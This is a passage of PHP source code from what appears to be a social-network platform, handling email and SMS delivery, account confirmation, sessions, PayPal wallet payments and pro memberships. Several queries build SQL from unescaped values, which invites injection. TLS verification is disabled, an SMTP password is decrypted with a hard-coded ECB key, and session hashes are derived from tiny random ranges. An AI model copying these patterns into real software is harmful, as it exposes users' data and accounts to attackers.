    if ($wo["config"]["smtp_or_mail"] == "mail") {
        $mail->IsMail();
    } elseif ($wo["config"]["smtp_or_mail"] == "smtp") {
        $mail->isSMTP();
        $mail->Host          = $wo["config"]["smtp_host"]; // Specify main and backup SMTP servers
        $mail->SMTPAuth      = true;
        $mail->SMTPKeepAlive = true;
        $mail->Username      = $wo["config"]["smtp_username"]; // SMTP username
        $mail->Password      = getSMTPPassword($wo["config"]["smtp_password"]);
        $mail->SMTPSecure    = $wo["config"]["smtp_encryption"]; // Enable TLS encryption, `ssl` also accepted
        $mail->Port          = $wo["config"]["smtp_port"];
        $mail->SMTPOptions   = array(
            "ssl" => array(
                "verify_peer" => false,
                "verify_peer_name" => false,
                "allow_self_signed" => true
            )
        );
    } else {
        return false;
    }
    $mail->setFrom($wo["config"]["siteEmail"], $wo["config"]["siteName"]);
    $send          = false;
    $mail->CharSet = "utf-8";
    if (mysqli_num_rows($sql)) {
        while ($fetched_data = mysqli_fetch_assoc($sql)) {
            $mail->addAddress($fetched_data["email_to"]);
            $mail->Subject = $fetched_data["subject"];
            $mail->MsgHTML($fetched_data["message"]);
            $mail->IsHTML(true);
            $send = $mail->send();
            $mail->ClearAddresses();
        }
    }
    $query_one_  = "DELETE FROM " . T_EMAILS . " WHERE `user_id` = {$user_id}";
    $sql_        = mysqli_query($sqlConnect, $query_one_);
    $query_one__ = "UPDATE " . T_USERS . " SET `last_email_sent` = " . time() . " WHERE `user_id` = {$user_id}";
    cache($user_id, 'users', 'delete');
    $sql__       = mysqli_query($sqlConnect, $query_one__);
    return $send;
}
function Wo_AddPostVideoView($post_id = false) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $query = mysqli_query($sqlConnect, "SELECT `videoViews` FROM " . T_POSTS . " WHERE `id` = '$post_id'");
    if (mysqli_num_rows($query)) {
        $fetched_data = mysqli_fetch_assoc($query);
        if (!empty($fetched_data) && is_array($fetched_data)) {
            $post_views   = $fetched_data["videoViews"];
            $update_query = "UPDATE " . T_POSTS . " SET `videoViews` = `videoViews` + 1  WHERE `id` = '$post_id'";
            if (mysqli_query($sqlConnect, $update_query)) {
                return intval($post_views) + 1;
            }
        }
    }
    return false;
}
function Wo_SendMessage($data = array()) {
    global $wo, $sqlConnect,$siteEncryptKey;
    include_once "assets/libraries/PHPMailer-Master/vendor/autoload.php";
    $mail = new PHPMailer\PHPMailer\PHPMailer();
    if (strpos($data["to_email"], "@google.com") || strpos($data["to_email"], "@facebook.com") || strpos($data["to_email"], "@twitter.com") || strpos($data["to_email"], "@linkedIn.com") || strpos($data["to_email"], "@vk.com") || strpos($data["to_email"], "@instagram.com")) {
        return false;
    }
    $email_from      = $data["from_email"] = Wo_Secure($data["from_email"]);
    $to_email        = $data["to_email"] = Wo_Secure($data["to_email"]);
    $subject         = $data["subject"];
    $message_body    = mysqli_real_escape_string($sqlConnect, $data["message_body"]);
    $data["charSet"] = Wo_Secure($data["charSet"]);
    if (isset($data["insert_database"])) {
        if ($data["insert_database"] == 1) {
            $user_id   = Wo_Secure($wo["user"]["user_id"]);
            $query_one = mysqli_query($sqlConnect, "INSERT INTO " . T_EMAILS . " (`email_to`, `user_id`, `subject`, `message`) VALUES ('{$to_email}', '{$user_id}', '{$subject}', '{$message_body}')");
            if ($query_one) {
                return true;
            }
        }
        return true;
        exit();
    }
    try {
        if (!empty($data["return"]) && $data["return"] == 'debug') {
            $mail->SMTPDebug = 2;
        }
        
        if ($wo["config"]["smtp_or_mail"] == "mail") {
            $mail->IsMail();
        } elseif ($wo["config"]["smtp_or_mail"] == "smtp") {
            $mail->isSMTP();
            $mail->Host        = $wo["config"]["smtp_host"]; // Specify main and backup SMTP servers
            $mail->SMTPAuth    = true; // Enable SMTP authentication
            $mail->Username    = $wo["config"]["smtp_username"]; // SMTP username
            $mail->Password      = getSMTPPassword($wo["config"]["smtp_password"]);
            $mail->SMTPSecure  = $wo["config"]["smtp_encryption"]; // Enable TLS encryption, `ssl` also accepted
            $mail->Port        = $wo["config"]["smtp_port"];
            $mail->SMTPOptions = array(
                "ssl" => array(
                    "verify_peer" => false,
                    "verify_peer_name" => false,
                    "allow_self_signed" => true
                )
            );
        } else {
            return false;
        }
        $mail->IsHTML(true);
        $mail->setFrom($data["from_email"], $data["from_name"]);
        $mail->addAddress($data["to_email"], $data["to_name"]); // Add a recipient
        $mail->Subject = $data["subject"];
        $mail->CharSet = "text/html; charset=UTF-8;";
        $mail->CharSet = $data["charSet"];
        //$mail->MsgHTML($data["message_body"]);
        $mail->Body = $data["message_body"];
        if (!empty($data["reply-to"])) {
            $mail->ClearReplyTos();
            $mail->AddReplyTo($data["reply-to"], $data["from_name"]);
        }
        if ($mail->send()) {
            $mail->ClearAddresses();
            return true;
        }
        else{
            if (!empty($data["return"])) {
                return $mail->ErrorInfo;
            }
        }
    } catch (phpmailerException $e) {
        if (!empty($data["return"])) {
            if (!empty($e->errorMessage())) {
                return $e->errorMessage();
            }
            return $mail->ErrorInfo;
        }
        return false;
    } catch (Exception $e) {
        if (!empty($data["return"])) {
            if (!empty($e->getMessage())) {
                return $e->getMessage();
            }
            return $mail->ErrorInfo;
        }
        return false;
    }
}
function getSMTPPassword($smtp_password)
{
    global $wo, $sqlConnect,$siteEncryptKey;

    if (strpos($smtp_password,'$Ap1_') !== false) {
        $tx = str_replace('$Ap1_', '', $smtp_password);
        $smtp_password = openssl_decrypt($tx, "AES-128-ECB", $siteEncryptKey);
    }

    $smtp_password      = openssl_decrypt($smtp_password, "AES-128-ECB", "mysecretkey1234");

    if (strpos($smtp_password,'$Ap1_') !== false) {
        $tx = str_replace('$Ap1_', '', $smtp_password);
        $smtp_password = openssl_decrypt($tx, "AES-128-ECB", $siteEncryptKey);
    }

    return $smtp_password;
}
function Wo_CheckBirthdays($user_id = 0) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $user_id = Wo_Secure($wo["user"]["user_id"]);
    if (empty($user_id) || !is_numeric($user_id) || $user_id < 1) {
        return false;
    }
    $data  = array();
    $date  = "-" . date("m") . "-" . date("d");
    $query = mysqli_query($sqlConnect, "SELECT `user_id` FROM " . T_USERS . " WHERE `birthday` LIKE '%{$date}%' AND `user_id` <> '{$user_id}' AND `user_id` IN (SELECT `following_id` FROM " . T_FOLLOWERS . " WHERE `follower_id` = '{$user_id}' AND `active` = '1') ORDER BY RAND() LIMIT 5");
    if (mysqli_num_rows($query)) {
        while ($fetched_data = mysqli_fetch_assoc($query)) {
            $user_data = Wo_UserData($fetched_data["user_id"]);
            if ($user_data["birth_privacy"] != 2) {
                $data[] = $user_data;
            }
        }
    }
    return $data;
}

function Wo_SendSMSMessage($to, $message) {
    global $wo, $sqlConnect;
    if (empty($to)) {
        return false;
    }
    if ($wo["config"]["sms_provider"] == "twilio" && !empty($wo["config"]["sms_twilio_username"]) && !empty($wo["config"]["sms_twilio_password"]) && !empty($wo["config"]["sms_t_phone_number"])) {
        $account_sid = $wo["config"]["sms_twilio_username"];
        $auth_token  = $wo["config"]["sms_twilio_password"];
        $to          = Wo_Secure($to);

        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, "https://api.twilio.com/2010-04-01/Accounts/".$account_sid."/Messages");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, "Body=".$message."&From=".$wo["config"]["sms_t_phone_number"]."&To=".$to);
        curl_setopt($ch, CURLOPT_USERPWD, $account_sid . ':' . $auth_token);

        $headers = array();
        $headers[] = 'Content-Type: application/x-www-form-urlencoded';
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

        $result = curl_exec($ch);
        if (curl_errno($ch)) {
            echo 'Error:' . curl_error($ch);
        }
        curl_close($ch);
        if (!empty($result)) {
            $result = simplexml_load_string($result);
            if (!empty($result->Message) && !empty($result->Message->Status)) {
                return true;
            }
        }
        return false;
    } elseif ($wo["config"]["sms_provider"] == "infobip" && !empty($wo["config"]["infobip_api_key"]) && !empty($wo["config"]["infobip_base_url"])) {

        $to       = Wo_Secure($to);
        if (empty($to)) {
            return false;
        }
        $sms = '{
                  "messages": [
                    {
                      "destinations": [
                        {
                          "to": "'.$to.'"
                        }
                      ],
                      "from": "'.$wo["config"]["siteName"].'",
                      "text": "'.$message.'"
                    }
                  ]
                }';

        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $wo["config"]["infobip_base_url"].'/sms/2/text/advanced');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $sms);

        $headers = array();
        $headers[] = 'Authorization: App '.$wo["config"]["infobip_api_key"];
        $headers[] = 'Content-Type: application/json';
        $headers[] = 'Accept: application/json';
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

        $result = curl_exec($ch);
        if (curl_errno($ch)) {
            echo 'Error:' . curl_error($ch);
        }
        curl_close($ch);
        $result = json_decode($result,true);
        if (!empty($result['messages'])) {
            return true;
        }
        return false;
    } elseif ($wo["config"]["sms_provider"] == "bulksms" && !empty($wo["config"]["sms_username"]) && !empty($wo["config"]["sms_password"])) {
        if (empty($to)) {
            return false;
        }
        $to_ = @explode("+", $to);
        if (empty($to_[1])) {
            return false;
        }
        $messages = array(
          array('to'=> $to, 'body'=>$message)
        );
        $result = send_bulksms_message( json_encode($messages), 'https://api.bulksms.com/v1/messages?auto-unicode=true&longMessageMaxParts=30', $wo['config']['sms_username'], $wo['config']['sms_password'] );
        if ($result['http_status'] != 201) {
          return false;
        } else {
          return true;
        }
        // $to      = $to_[1];
        // $url     = $wo["config"]["eapi"] . "/submission/send_sms/2/2.0";
        // $data    = array(
        //     "username" => $username,
        //     "password" => $password,
        //     "msisdn" => $to,
        //     "message" => $message
        // );
        // $options = array(
        //     "http" => array(
        //         "header" => "Content-type: application/x-www-form-urlencoded\r\n",
        //         "method" => "POST",
        //         "content" => http_build_query($data)
        //     ),
        //     "ssl" => array(
        //         "verify_peer" => false,
        //         "verify_peer_name" => false
        //     )
        // );
        // $context = stream_context_create($options);
        // $result  = file_get_contents($url, false, $context);
        // if (preg_match("/\bIN_PROGRESS\b/", $result)) {
        //     return true;
        // } else {
        //     return $result;
        // }
    } elseif ($wo["config"]["sms_provider"] == "msg91" && !empty($wo["config"]["msg91_authKey"])) {
        //Your authentication key
        $authKey      = $wo["config"]["msg91_authKey"];
        //Multiple mobiles numbers separated by comma
        $mobileNumber = $to;
        //Sender ID,While using route4 sender id should be 6 characters long.
        $senderId     = uniqid();
        //Define route
        $route        = "4";
        //Prepare you post parameters
        $postData     = array(
            "authkey" => $authKey,
            "mobiles" => $mobileNumber,
            "message" => $message,
            "sender" => $senderId,
            "route" => $route
        );
        if (!empty($wo["config"]["msg91_dlt_id"])) {
            $postData["DLT_TE_ID"] = $wo["config"]["msg91_dlt_id"];
        }
        //API URL
        $url = "http://api.msg91.com/api/sendhttp.php";
        // init the resource
        $ch  = curl_init();
        curl_setopt_array($ch, array(
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => $postData
        ));
        //Ignore SSL certificate verification
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        //get response
        $output = curl_exec($ch);
        //Print error if any
        if (curl_errno($ch)) {
            return false;
        }
        curl_close($ch);
        return true;
    }
    return false;
}
function Wo_ConfirmUserSMS($user_id, $code) {
    global $sqlConnect;
    $user_id = Wo_Secure($user_id);
    $code    = Wo_Secure($code);
    if (!is_numeric($code) || $code <= 0) {
        return false;
    }
    if (!is_numeric($user_id) || $user_id <= 0) {
        return false;
    }
    $query  = mysqli_query($sqlConnect, " SELECT COUNT(`user_id`)  FROM " . T_USERS . "  WHERE `email_code` = '{$code}' AND `user_id` = '{$user_id}' AND `active` = '0'");
    $result = Wo_Sql_Result($query, 0);
    if ($result == 1) {
        $email_code = md5(rand(1111, 9999) . time());
        $query_two  = mysqli_query($sqlConnect, " UPDATE " . T_USERS . "  SET `active` = '1', `email_code` = '$email_code' WHERE `user_id` = '{$user_id}' ");
        if ($query_two) {
            return true;
        }
    } else {
        return false;
    }
}
function Wo_ConfirmUser($user_id, $code) {
    global $sqlConnect;
    $user_id = Wo_Secure($user_id);
    $code    = Wo_Secure($code);
    if (!is_numeric($code) || $code <= 0) {
        return false;
    }
    if (!is_numeric($user_id) || $user_id <= 0) {
        return false;
    }
    $query  = mysqli_query($sqlConnect, " SELECT COUNT(`user_id`)  FROM " . T_USERS . "  WHERE `sms_code` = '{$code}' AND `user_id` = '{$user_id}' AND `active` = '0'");
    $result = Wo_Sql_Result($query, 0);
    if ($result == 1) {
        $email_code = md5(rand(1111, 9999) . time());
        $query_two  = mysqli_query($sqlConnect, " UPDATE " . T_USERS . "  SET `active` = '1', `email_code` = '$email_code' WHERE `user_id` = '{$user_id}' ");
        if ($query_two) {
            return true;
        }
    } else {
        return false;
    }
}
function Wo_ConfirmSMSUser($user_id, $code, $email_code = "") {
    global $sqlConnect;
    $user_id = Wo_Secure($user_id);
    $code    = Wo_Secure($code);
    if (!is_numeric($code) || $code <= 0) {
        return false;
    }
    if (!is_numeric($user_id) || $user_id <= 0) {
        return false;
    }
    $query  = mysqli_query($sqlConnect, " SELECT COUNT(`user_id`)  FROM " . T_USERS . "  WHERE `sms_code` = '{$code}' AND `user_id` = '{$user_id}'");
    $result = Wo_Sql_Result($query, 0);
    if ($result == 1) {
        $email_code = md5(rand(1111, 9999) . time());
        $query_two  = mysqli_query($sqlConnect, " UPDATE " . T_USERS . "  SET `active` = '1', `email_code` = '$email_code' WHERE `user_id` = '{$user_id}' ");
        if ($query_two) {
            return true;
        }
    } else {
        return false;
    }
}
function Wo_CreateSession() {
    $hash = sha1(rand(1111, 9999));
    if (!empty($_SESSION["hash_id"])) {
        $_SESSION["hash_id"] = $_SESSION["hash_id"];
        return $_SESSION["hash_id"];
    }
    $_SESSION["hash_id"] = $hash;
    return $hash;
}
function Wo_CheckSession($hash = "") {
    if (!isset($_SESSION["hash_id"]) || empty($_SESSION["hash_id"])) {
        return false;
    }
    if (empty($hash)) {
        return false;
    }
    if ($hash == $_SESSION["hash_id"]) {
        return true;
    }
    return false;
}
function Wo_CreateMainSession() {
    $hash = substr(sha1(rand(1111, 9999)), 0, 20);
    if (!empty($_SESSION["main_hash_id"])) {
        $_SESSION["main_hash_id"] = $_SESSION["main_hash_id"];
        return $_SESSION["main_hash_id"];
    }
    $_SESSION["main_hash_id"] = $hash;
    return $hash;
}
function Wo_CheckMainSession($hash = "") {
    if (!isset($_SESSION["main_hash_id"]) || empty($_SESSION["main_hash_id"])) {
        return false;
    }
    if (empty($hash)) {
        return false;
    }
    if ($hash == $_SESSION["main_hash_id"]) {
        return true;
    }
    return false;
}

function Wo_ReplenishingUserBalance($sum) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false || !$sum) {
        return false;
    }
    $user      = $wo["user"]["user_id"];
    $user_data = Wo_UserData($user);
    if (empty($user_data)) {
        return false;
    }
    $user_balance = $user_data["wallet"];
    $user_balance += $sum;
    $update_data = array(
        "wallet" => $user_balance
    );
    $update      = Wo_UpdateUserData($wo["user"]["user_id"], $update_data);
    return $update;
}
function Wo_ReplenishWallet($sum) {
    global $wo;
    if ($wo["loggedin"] == false || !$sum || $wo["config"]["paypal"] == "no") {
        return false;
    }
    include_once('assets/includes/paypal_config.php');

    if (!empty($wo["config"]['currency_array']) && in_array($wo["config"]['paypal_currency'], $wo["config"]['currency_array']) && $wo["config"]['paypal_currency'] != $wo['config']['currency'] && !empty($wo['config']['exchange']) && !empty($wo['config']['exchange'][$wo["config"]['paypal_currency']])) {
        $sum = (($sum * $wo['config']['exchange'][$wo["config"]['paypal_currency']]));
        //$sum = round($sum, 2);
    }


    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, $url . '/v2/checkout/orders');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, '{
      "intent": "CAPTURE",
      "purchase_units": [
            {
                "items": [
                    {
                        "name": "Wallet Replenishment",
                        "description":  "Pay For ' . $wo["config"]["siteName"].'",
                        "quantity": "1",
                        "unit_amount": {
                            "currency_code": "'.$wo["config"]["paypal_currency"].'",
                            "value": "'.$sum.'"
                        }
                    }
                ],
                "amount": {
                    "currency_code": "'.$wo["config"]["paypal_currency"].'",
                    "value": "'.$sum.'",
                    "breakdown": {
                        "item_total": {
                            "currency_code": "'.$wo["config"]["paypal_currency"].'",
                            "value": "'.$sum.'"
                        }
                    }
                }
            }
        ],
        "application_context":{
            "shipping_preference":"NO_SHIPPING",
            "return_url": "'.$wo["config"]["site_url"] . "/requests.php?f=wallet&s=get-paid&success=1&amount={$sum}".'",
            "cancel_url": "'.$wo["config"]["site_url"] . "/requests.php?f=wallet&s=get-paid&success=1".'"
        }
    }');

    $headers = array();
    $headers[] = 'Content-Type: application/json';
    $headers[] = 'Authorization: Bearer '.$wo['paypal_access_token'];
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    $result = curl_exec($ch);
    if (curl_errno($ch)) {
        echo 'Error:' . curl_error($ch);
    }
    curl_close($ch);
    $result = json_decode($result);
    if (!empty($result) && !empty($result->links) && !empty($result->links[1]) && !empty($result->links[1]->href)) {
        $data = array(
            "status" => 200,
            "type" => "SUCCESS",
            'url' => $result->links[1]->href
        );
        return $data;
    }
    elseif(!empty($result->message)){
        $data = array(
            'type' => 'ERROR',
            'details' => $result->message
        );
        return $data;
    }
}
function Wo_IsUserPro($user_pro = 0) {
    global $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if ($wo["config"]["pro"] == 0) {
        return false;
    }
    $user = $user_pro;
    if (empty($user) && $user !== "0") {
        $user = $wo["user"]["is_pro"];
    }
    if ($user == 1) {
        return true;
    }
    return false;
}
function Wo_GetUserProType($user_type = 0, $type = "post") {
    global $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if ($wo["config"]["pro"] == 0) {
        return false;
    }
    $pro_type = $wo["user"]["pro_type"];
    if (!empty($user_type) && $user_type > 0 && is_numeric($user_type)) {
        $pro_type = $user_type;
    }
    $data = array();
    $data["type_name"] = $wo["pro_packages"][$pro_type]['name'] . " " . $wo["lang"]["member"];
    if ($type == "post") {
        $data["can_boost"] = $wo["pro_packages"][$pro_type]["posts_promotion"];
    } else {
        $data["can_boost"] = $wo["pro_packages"][$pro_type]["pages_promotion"];
    }
    $data["color_name"] = $wo["pro_packages"][$pro_type]["color"];
    $data["type_url"]   = Wo_SeoLink("index.php?link1=upgrade-to");
    $data["icon"]       = "";
    if (in_array($pro_type,array(1,2,3,4))) {
        if ($pro_type == 1) {
            $data["icon"]       = "star";
        }
        else if ($pro_type == 2) {
            $data["icon"]       = "fire";
        }
        else if ($pro_type == 3) {
            $data["icon"]       = "bolt";
        }
        else if ($pro_type == 4) {
            $data["icon"]       = "rocket";
        }
    }
    return $data;
}

function Wo_GetAvUpgrades($user_id) {
    global $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if ($wo["config"]["pro"] == 0) {
        return false;
    }
    if (empty($user_id)) {
        return false;
    }
    $user    = Wo_UserData($user_id);
    if (empty($user)) {
        return false;
    }
    $can_see = array();
    
    foreach ($wo["pro_packages"] as $key => $value) {
        
        if ($user['pro_type'] < $key) {
            $can_see[$key] = $value["name"] . " " . $wo["lang"]["member"] . " " . $value["price"] . Wo_GetCurrency($wo["config"]["currency"]) . " " . (!empty($value['time_count']) ? $value['time_count'] : '').' '.$wo['lang'][$value['time']];
        }
    }
    return $can_see;




    // if ($wo["pro_packages"]["hot"]["status"] == 1) {
    //     $hot_member = $wo["lang"]["hot"] . " " . $wo["lang"]["member"] . " " . $wo["pro_packages"]["hot"]["price"] . Wo_GetCurrency($wo["config"]["currency"]) . " " . $wo["lang"]["per_month"];
    // }
    // if ($wo["pro_packages"]["ultima"]["status"] == 1) {
    //     $ultima_member = $wo["lang"]["ultima"] . " " . $wo["lang"]["member"] . " " . $wo["pro_packages"]["ultima"]["price"] . Wo_GetCurrency($wo["config"]["currency"]) . " " . $wo["lang"]["per_year"];
    // }
    // if ($wo["pro_packages"]["vip"]["status"] == 1) {
    //     $vip_member = $wo["lang"]["vip"] . " " . $wo["lang"]["member"] . " " . $wo["pro_packages"]["vip"]["price"] . Wo_GetCurrency($wo["config"]["currency"]) . " " . $wo["lang"]["life_time"];
    // }
    // if ($user["pro_type"] == 1) {
    //     $can_see = array();
    //     if ($wo["pro_packages"]["hot"]["status"] == 1) {
    //         $can_see["month"] = $hot_member;
    //     }
    //     if ($wo["pro_packages"]["ultima"]["status"] == 1) {
    //         $can_see["year"] = $ultima_member;
    //     }
    //     if ($wo["pro_packages"]["vip"]["status"] == 1) {
    //         $can_see["life-time"] = $vip_member;
    //     }
    //     // $can_see = array(
    //     //     'month' => $hot_member,
    //     //     'year' => $ultima_member,
    //     //     'life-time' => $vip_member
    //     // );
    // } elseif ($user["pro_type"] == 2) {
    //     $can_see = array();
    //     if ($wo["pro_packages"]["ultima"]["status"] == 1) {
    //         $can_see["year"] = $ultima_member;
    //     }
    //     if ($wo["pro_packages"]["vip"]["status"] == 1) {
    //         $can_see["life-time"] = $vip_member;
    //     }
    //     // $can_see = array(
    //     //     'year' => $ultima_member,
    //     //     'life-time' => $vip_member
    //     // );
    // } elseif ($user["pro_type"] == 3) {
    //     $can_see = array();
    //     if ($wo["pro_packages"]["vip"]["status"] == 1) {
    //         $can_see["life-time"] = $vip_member;
    //     }
    //     // $can_see = array(
    //     //     'life-time' => $vip_member
    //     // );
    // } elseif ($user["pro_type"] == 4) {
    //     $can_see = array();
    // }
    return $can_see;
}
function Wo_GetProPackages() {
    global $wo;
    $free_member   = $wo["lang"]["free_member"];
    $star_member   = $wo["lang"]["star"] . " " . $wo["lang"]["member"];
    $hot_member    = $wo["lang"]["hot"] . " " . $wo["lang"]["member"];
    $ultima_member = $wo["lang"]["ultima"] . " " . $wo["lang"]["member"];
    $vip_member    = $wo["lang"]["vip"] . " " . $wo["lang"]["member"];
    $data          = array(
        "free" => array(
            "id" => 0,
            "name" => $free_member
        )
    );
    foreach ($wo["pro_packages"] as $key => $value) {
        $data[$key] = array('id' => $key,
                            'name' => $value['name']);
    }
    // if ($wo["pro_packages"]["star"]["status"] == 1) {
    //     $data["star"] = array(
    //         "id" => 1,
    //         "name" => $star_member
    //     );
    // }
    // if ($wo["pro_packages"]["hot"]["status"] == 1) {
    //     $data["hot"] = array(
    //         "id" => 2,
    //         "name" => $hot_member
    //     );
    // }
    // if ($wo["pro_packages"]["ultima"]["status"] == 1) {
    //     $data["ultima"] = array(
    //         "id" => 3,
    //         "name" => $ultima_member
    //     );
    // }
    // if ($wo["pro_packages"]["vip"]["status"] == 1) {
    //     $data["vip"] = array(
    //         "id" => 4,
    //         "name" => $vip_member
    //     );
    // }
    return $data;
}
function Wo_CreatePayment($payment_type = 1) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if ($wo["config"]["paypal_mode"] == "sandbox") {
        //return false;
    }
    $user_id = $wo["user"]["user_id"];
    if (!in_array($payment_type, array_keys($wo["pro_packages"]))) {
        return false;
    }
    $amount = $wo["pro_packages"][$payment_type]['price'];
    $type = $wo["pro_packages"][$payment_type]['name'];
    
    // if ($payment_type == 1) {
    //     $amount = $wo["pro_packages"]["star"]["price"];
    //     $type   = "weekly";
    // } elseif ($payment_type == 2) {
    //     $amount = $wo["pro_packages"]["hot"]["price"];
    //     $type   = "monthly";
    // } elseif ($payment_type == 3) {
    //     $amount = $wo["pro_packages"]["ultima"]["price"];
    //     $type   = "yearly";
    // } elseif ($payment_type == 4) {
    //     $amount = $wo["pro_packages"]["vip"]["price"];
    //     $type   = "lifetime";
    // } else {
    //     return false;
    // }
    $date  = date("n") . "/" . date("Y");
    $time  = time();
    $query = mysqli_query($sqlConnect, "INSERT INTO " . T_PAYMENTS . " (`user_id`, `amount`, `date`, `type`,`time`) VALUES ({$user_id}, {$amount}, '{$date}', '{$type}', '{$time}')");
    if ($query) {
        return true;
    }
}
function Wo_CountAllPaymentData($type) {
    global $wo, $sqlConnect;
    $type_table = T_PAYMENTS;
    $type       = Wo_Secure($type);
    $query_one  = mysqli_query($sqlConnect, "SELECT COUNT(`id`) as count FROM {$type_table} WHERE `type` = '{$type}'");
    if (mysqli_num_rows($query_one)) {
        $fetched_data = mysqli_fetch_assoc($query_one);
        return $fetched_data["count"];
    }
    return false;
}
function Wo_CountAllPayment() {
    global $wo, $sqlConnect;
    $type_table = T_PAYMENTS;
    $query_one  = mysqli_query($sqlConnect, "SELECT `amount` FROM {$type_table}");
    $final_data = 0;
    if (mysqli_num_rows($query_one)) {
        while ($fetched_data = mysqli_fetch_assoc($query_one)) {
            $final_data += $fetched_data["amount"];
        }
        return $final_data;
    }
    return false;
}
function Wo_CountThisMonthPayment() {
    global $wo, $sqlConnect;
    $type_table = T_PAYMENTS;
    $date       = date("n") . "/" . date("Y");
    $query_one  = mysqli_query($sqlConnect, "SELECT `amount` FROM {$type_table} WHERE `amount` <> 0 AND `date` = '{$date}'");
    $final_data = 0;
    if (mysqli_num_rows($query_one)) {
        while ($fetched_data = mysqli_fetch_assoc($query_one)) {
            $final_data += $fetched_data["amount"];
        }
        return $final_data;
    }
    return false;
}

function Wo_CountAllCommissions() {
    global $wo, $sqlConnect;
    $type_table = T_PAYMENT_TRANSACTIONS;
    $query_one  = mysqli_query($sqlConnect, "SELECT `admin_commission` FROM {$type_table}");
    $final_data = 0;
    if (mysqli_num_rows($query_one)) {
        while ($fetched_data = mysqli_fetch_assoc($query_one)) {
            $final_data += $fetched_data["admin_commission"];
        }
        return $final_data;
    }
    return false;
}

function Wo_CountThisMonthCommissions() {
    global $wo, $sqlConnect;
    $type_table = T_PAYMENT_TRANSACTIONS;
    $today = date('Y-m-d');

    $startOfMonth = date('Y-m-01', strtotime($today));
    $query_one  = mysqli_query($sqlConnect, "SELECT `admin_commission` FROM {$type_table} WHERE `amount` <> 0 AND `transaction_dt` >= '{$startOfMonth}'");
    $final_data = 0;
    if (mysqli_num_rows($query_one)) {
        while ($fetched_data = mysqli_fetch_assoc($query_one)) {
            $final_data += $fetched_data["admin_commission"];
        }
        return $final_data;
    }
    return false;
}

function Wo_GetRegisteredPaymentsStatics($month, $type = "") {
    global $wo, $sqlConnect;
    $year       = date("Y");
    $type_table = T_PAYMENTS;
    $query_one  = mysqli_query($sqlConnect, "SELECT COUNT(`id`) as count FROM {$type_table} WHERE `date` = '{$month}/{$year}' AND `type` = '{$type}'");
    if (mysqli_num_rows($query_one)) {
        $fetched_data = mysqli_fetch_assoc($query_one);
        return $fetched_data["count"];
    }
    return false;
}
function Wo_GetPromotedPost() {
    global $wo, $sqlConnect;
    if (!$wo['loggedin']) {
        return array();
    }
    $year           = date("Y");
    $type_table     = T_POSTS;
    $logged_user_id = Wo_Secure($wo["user"]["user_id"]);
    $query_one      = mysqli_query($sqlConnect, "SELECT `id` FROM {$type_table} WHERE `boosted` = '1' AND `user_id` NOT IN (SELECT `blocked` FROM " . T_BLOCKS . " WHERE `blocker` = '{$logged_user_id}') AND `user_id` NOT IN (SELECT `blocker` FROM " . T_BLOCKS . " WHERE `blocked` = '{$logged_user_id}') ORDER BY RAND() LIMIT 1");
    if (mysqli_num_rows($query_one)) {
        $fetched_data = mysqli_fetch_assoc($query_one);
        if (!empty($fetched_data)) {
            $post = Wo_PostData($fetched_data["id"]);
            if (is_array($post)) {
                return $post;
            }
        } else {
            return array();
        }
    }
    return array();
}
function Wo_GetPromotedPage() {
    global $wo, $sqlConnect;
    $type_table     = T_PAGES;
    $data           = array();
    $logged_user_id = Wo_Secure($wo["user"]["user_id"]);
    $query_one      = mysqli_query($sqlConnect, "SELECT `page_id` FROM {$type_table} WHERE `boosted` = '1' AND `page_id` NOT IN (SELECT `page_id` FROM " . T_PAGES . " WHERE `user_id` = {$logged_user_id} AND `active` = '1') AND `page_id` NOT IN (SELECT `page_id` FROM " . T_PAGES_LIKES . " WHERE `user_id` = {$logged_user_id} AND `active` = '1') ORDER BY RAND() LIMIT 2");
    if (mysqli_num_rows($query_one)) {
        while ($fetched_data = mysqli_fetch_assoc($query_one)) {
            $data[] = Wo_PageData($fetched_data["page_id"]);
        }
    }
    return $data;
}
function Wo_GetBoostedPosts($user_id) {
    global $wo, $sqlConnect;
    $data  = array();
    $logged_user_id = Wo_Secure($wo["user"]["user_id"]);
    $query = mysqli_query($sqlConnect, "SELECT `id` FROM " . T_POSTS . " WHERE (`user_id` = {$user_id} OR `page_id` IN (SELECT `page_id` FROM " . T_PAGES . " WHERE `user_id` = {$logged_user_id} AND `active` = '1')) AND `boosted` = '1' ORDER BY id DESC");
    if (mysqli_num_rows($query)) {
        while ($fetched_data = mysqli_fetch_assoc($query)) {
            $data[] = Wo_PostData($fetched_data["id"]);
        }
    }
    return $data;
}
function Wo_GetBoostedPages($user_id) {
    global $wo, $sqlConnect;
    $data  = array();
    $query = mysqli_query($sqlConnect, "SELECT `page_id` FROM " . T_PAGES . " WHERE `user_id` = {$user_id} AND `boosted` = '1' ORDER BY `page_id` DESC");
    if (mysqli_num_rows($query)) {
        while ($fetched_data = mysqli_fetch_assoc($query)) {
            $data[] = Wo_PageData($fetched_data["page_id"]);
        }
    }
    return $data;
}
function Wo_RedirectSmooth($url) {
    global $wo;
